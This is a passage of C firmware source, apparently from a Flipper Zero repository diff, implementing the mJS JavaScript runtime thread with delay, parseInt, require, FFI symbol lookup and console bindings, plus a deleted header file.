uint32_t js_flags_wait(struct mjs* mjs, uint32_t flags_mask, uint32_t timeout) {
flags_mask |= ThreadEventStop;
uint32_t flags = furi_thread_flags_get();
furi_check((flags & FuriFlagError) == 0);
if(flags == 0) {
flags = furi_thread_flags_wait(flags_mask, FuriFlagWaitAny | FuriFlagNoClear, timeout);
} else {
uint32_t state = furi_thread_flags_clear(flags & flags_mask);
furi_check((state & FuriFlagError) == 0);
}
if(flags & FuriFlagError) {
return 0;
}
if(flags & ThreadEventStop) {
mjs_exit(mjs);
}
return flags;
}
static void js_delay(struct mjs* mjs) {
bool args_correct = false;
int ms = 0;
if(mjs_nargs(mjs) == 1) {
mjs_val_t arg = mjs_arg(mjs, 0);
if(mjs_is_number(arg)) {
ms = mjs_get_int(mjs, arg);
args_correct = true;
}
}
if(!args_correct) {
mjs_prepend_errorf(mjs, MJS_BAD_ARGS_ERROR, "");
mjs_return(mjs, MJS_UNDEFINED);
return;
}
js_delay_with_flags(mjs, ms);
mjs_return(mjs, MJS_UNDEFINED);
}
static void* js_dlsym(void* handle, const char* name) {
CompositeApiResolver* resolver = handle;
Elf32_Addr addr = 0;
uint32_t hash = elf_symbolname_hash(name);
const ElfApiInterface* api = composite_api_resolver_get(resolver);
if(!api->resolver_callback(api, hash, &addr)) {
FURI_LOG_E(TAG, "FFI: cannot find \"%s\"", name);
return NULL;
}
return (void*)addr;
}
static void js_ffi_address(struct mjs* mjs) {
mjs_val_t name_v = mjs_arg(mjs, 0);
size_t len;
const char* name = mjs_get_string(mjs, &name_v, &len);
void* addr = mjs_ffi_resolve(mjs, name);
mjs_return(mjs, mjs_mk_foreign(mjs, addr));
}
static void js_require(struct mjs* mjs) {
mjs_val_t name_v = mjs_arg(mjs, 0);
size_t len;
const char* name = mjs_get_string(mjs, &name_v, &len);
mjs_val_t req_object = MJS_UNDEFINED;
if((len == 0) || (name == NULL)) {
mjs_prepend_errorf(mjs, MJS_BAD_ARGS_ERROR, "String argument is expected");
} else {
JsThread* worker = mjs_get_context(mjs);
furi_assert(worker);
req_object = js_module_require(worker->modules, name, len);
}
mjs_return(mjs, req_object);
}
static void js_parse_int(struct mjs* mjs) {
static const JsValueDeclaration js_parse_int_arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeString),
JS_VALUE_SIMPLE_W_DEFAULT(JsValueTypeInt32, int32_val, 10),
};
static const JsValueArguments js_parse_int_args = JS_VALUE_ARGS(js_parse_int_arg_list);
const char* str;
int32_t base;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &js_parse_int_args, &str, &base);
int32_t num;
if(strint_to_int32(str, NULL, &num, base) != StrintParseNoError) {
num = 0;
}
mjs_return(mjs, mjs_mk_number(mjs, num));
}
#ifdef JS_DEBUG
static void js_dump_write_callback(void* ctx, const char* format, ...) {
File* file = ctx;
furi_assert(ctx);
FuriString* str = furi_string_alloc();
va_list args;
va_start(args, format);
furi_string_vprintf(str, format, args);
furi_string_cat(str, "\n");
va_end(args);
storage_file_write(file, furi_string_get_cstr(str), furi_string_size(str));
furi_string_free(str);
}
#endif
static int32_t js_thread(void* arg) {
JsThread* worker = arg;
worker->resolver = composite_api_resolver_alloc();
composite_api_resolver_add(worker->resolver, firmware_api_interface);
composite_api_resolver_add(worker->resolver, application_api_interface);
struct mjs* mjs = mjs_create(worker);
worker->modules = js_modules_create(mjs, worker->resolver);
mjs_val_t global = mjs_get_global(mjs);
mjs_val_t console_obj = mjs_mk_object(mjs);
if(worker->path) {
FuriString* dirpath = furi_string_alloc();
path_extract_dirname(furi_string_get_cstr(worker->path), dirpath);
mjs_set(
mjs,
global,
"__filename",
~0,
mjs_mk_string(
mjs, furi_string_get_cstr(worker->path), furi_string_size(worker->path), true));
mjs_set(
mjs,
global,
"__dirname",
~0,
mjs_mk_string(mjs, furi_string_get_cstr(dirpath), furi_string_size(dirpath), true));
furi_string_free(dirpath);
}
JS_ASSIGN_MULTI(mjs, global) {
JS_FIELD("print", MJS_MK_FN(js_print));
JS_FIELD("delay", MJS_MK_FN(js_delay));
JS_FIELD("parseInt", MJS_MK_FN(js_parse_int));
JS_FIELD("ffi_address", MJS_MK_FN(js_ffi_address));
JS_FIELD("require", MJS_MK_FN(js_require));
JS_FIELD("console", console_obj);
JS_FIELD("sdkCompatibilityStatus", MJS_MK_FN(js_sdk_compatibility_status));
JS_FIELD("isSdkCompatible", MJS_MK_FN(js_is_sdk_compatible));
JS_FIELD("checkSdkCompatibility", MJS_MK_FN(js_check_sdk_compatibility));
JS_FIELD("doesSdkSupport", MJS_MK_FN(js_does_sdk_support));
JS_FIELD("checkSdkFeatures", MJS_MK_FN(js_check_sdk_features));
}
JS_ASSIGN_MULTI(mjs, console_obj) {
JS_FIELD("log", MJS_MK_FN(js_console_log));
JS_FIELD("warn", MJS_MK_FN(js_console_warn));
JS_FIELD("error", MJS_MK_FN(js_console_error));
JS_FIELD("debug", MJS_MK_FN(js_console_debug));
}
mjs_set_ffi_resolver(mjs, js_dlsym, worker->resolver);
mjs_set_exec_flags_poller(mjs, js_exit_flag_poll);
mjs_err_t err = mjs_exec_file(mjs, furi_string_get_cstr(worker->path), NULL);
#ifdef JS_DEBUG
if(furi_hal_rtc_is_flag_set(FuriHalRtcFlagDebug)) {
FuriString* dump_path = furi_string_alloc_set(worker->path);
furi_string_cat(dump_path, ".lst");
Storage* storage = furi_record_open(RECORD_STORAGE);
File* file = storage_file_alloc(storage);
if(storage_file_open(
file, furi_string_get_cstr(dump_path), FSAM_WRITE, FSOM_CREATE_ALWAYS)) {
mjs_disasm_all(mjs, js_dump_write_callback, file);
}
storage_file_close(file);
storage_file_free(file);
furi_record_close(RECORD_STORAGE);
furi_string_free(dump_path);
}
#endif
if(err != MJS_OK) {
FURI_LOG_E(TAG, "Exec error: %s", mjs_strerror(mjs, err));
if(worker->app_callback) {
worker->app_callback(JsThreadEventError, mjs_strerror(mjs, err), worker->context);
}
const char* stack_trace = mjs_get_stack_trace(mjs);
if(stack_trace != NULL) {
FURI_LOG_E(TAG, "Stack trace:\r\n%s", stack_trace);
if(worker->app_callback) {
worker->app_callback(JsThreadEventErrorTrace, stack_trace, worker->context);
}
}
} else {
if(worker->app_callback) {
worker->app_callback(JsThreadEventDone, NULL, worker->context);
}
}
mjs_destroy(mjs);
js_modules_destroy(worker->modules);
composite_api_resolver_free(worker->resolver);
return 0;
}
JsThread* js_thread_run(const char* script_path, JsThreadCallback callback, void* context) {
JsThread* worker = malloc(sizeof(JsThread)); //-V799
worker->path = furi_string_alloc_set(script_path);
worker->thread = furi_thread_alloc_ex("JsThread", 8 * 1024, js_thread, worker);
worker->app_callback = callback;
worker->context = context;
furi_thread_start(worker->thread);
return worker;
}
void js_thread_stop(JsThread* worker) {
furi_thread_flags_set(furi_thread_get_id(worker->thread), ThreadEventStop);
furi_thread_join(worker->thread);
furi_thread_free(worker->thread);
furi_string_free(worker->path);
free(worker);
}

View File

@@ -1,24 +0,0 @@
#pragma once
#ifdef __cplusplus
extern "C" {
#endif
typedef struct JsThread JsThread;
typedef enum {
JsThreadEventDone,
JsThreadEventError,
JsThreadEventPrint,
JsThreadEventErrorTrace,
} JsThreadEvent;
typedef void (*JsThreadCallback)(JsThreadEvent event, const char* msg, void* context);
JsThread* js_thread_run(const char* script_path, JsThreadCallback callback, void* context);
void js_thread_stop(JsThread* worker);
#ifdef __cplusplus
}
#endif

Some files were not shown because too many files have changed in this diff Show More